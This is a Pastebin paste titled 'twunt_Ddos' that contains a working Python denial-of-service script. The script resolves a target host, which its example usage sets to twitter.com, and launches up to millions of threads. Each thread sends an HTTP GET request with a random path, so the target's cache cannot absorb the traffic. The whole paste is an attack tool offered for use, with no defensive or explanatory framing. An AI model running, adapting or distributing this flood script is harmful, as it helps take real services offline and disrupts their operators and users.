skip420

twunt_Ddos

Jan 15th, 2021 (edited)
588
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.58 KB | None | 0 0
  1. #python twunt.py www.twitter.com  80 1000000
  2.  
  3. import random
  4. import socket
  5. import string
  6. import sys
  7. import threading
  8. import time
  9.  
  10. # Parse inputs
  11. host = ""
  12. ip = ""
  13. port = 0
  14. num_requests = 0
  15.  
  16. if len(sys.argv) == 2:
  17.     port = 80
  18.     num_requests = 100000000
  19. elif len(sys.argv) == 3:
  20.     port = int(sys.argv[2])
  21.     num_requests = 100000000
  22. elif len(sys.argv) == 4:
  23.     port = int(sys.argv[2])
  24.     num_requests = int(sys.argv[3])
  25. else:
  26.     print ("ERROR\n Usage: " + sys.argv[0] + " < Hostname > < Port > < Number_of_Attacks >")
  27.     sys.exit(1)
  28.  
  29. # Convert FQDN to IP
  30. try:
  31.     host = str(sys.argv[1]).replace("https://", "").replace("http://", "").replace("www.", "")
  32.     ip = socket.gethostbyname(host)
  33. except socket.gaierror:
  34.     print (" ERROR\n Make sure you entered a correct website")
  35.     sys.exit(2)
  36.  
  37. # Create a shared variable for thread counts
  38. thread_num = 0
  39. thread_num_mutex = threading.Lock()
  40.  
  41.  
  42. # Print thread status
  43. def print_status():
  44.     global thread_num
  45.     thread_num_mutex.acquire(True)
  46.  
  47.     thread_num += 1
  48.     print ("\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num) + "] #-#-# Twunt Attack! #-#-#")
  49.  
  50.     thread_num_mutex.release()
  51.  
  52.  
  53. # Generate URL Path
  54. def generate_url_path():
  55.     msg = str(string.ascii_letters + string.digits + string.punctuation)
  56.     data = "".join(random.sample(msg, 5))
  57.     return data
  58.  
  59.  
  60. # Perform the request
  61. def attack():
  62.     print_status()
  63.     url_path = generate_url_path()
  64.  
  65.     # Create a raw socket
  66.     dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  67.  
  68.     try:
  69.         # Open the connection on that raw socket
  70.         dos.connect((ip, port))
  71.  
  72.         # Send the request according to HTTP spec
  73.         #dos.send("GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host))
  74.         msg = "GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host)
  75.         byt = msg.encode()
  76.         dos.send(byt)
  77.     except socket.error:
  78.         print ("\n [ No connection, server may be down ]: " + str(socket.error))
  79.     finally:
  80.         # Close our socket gracefully
  81.         dos.shutdown(socket.SHUT_RDWR)
  82.         dos.close()
  83.  
  84.  
  85. print ("[#] Attack started on " + host + " (" + ip + ") || Port: " + str(port) + " || # Requests: " + str(num_requests))
  86.  
  87. # Spawn a thread per request
  88. all_threads = []
  89. for i in range(num_requests):
  90.     t1 = threading.Thread(target=attack)
  91.     t1.start()
  92.     all_threads.append(t1)
  93.  
  94.     # Adjusting this sleep time will affect requests per second
  95.     time.sleep(0.01)
  96.  
  97. for current_thread in all_threads:
  98.     current_thread.join()  # Make the main thread wait for the children threads
Add Comment
Please, Sign In to add comment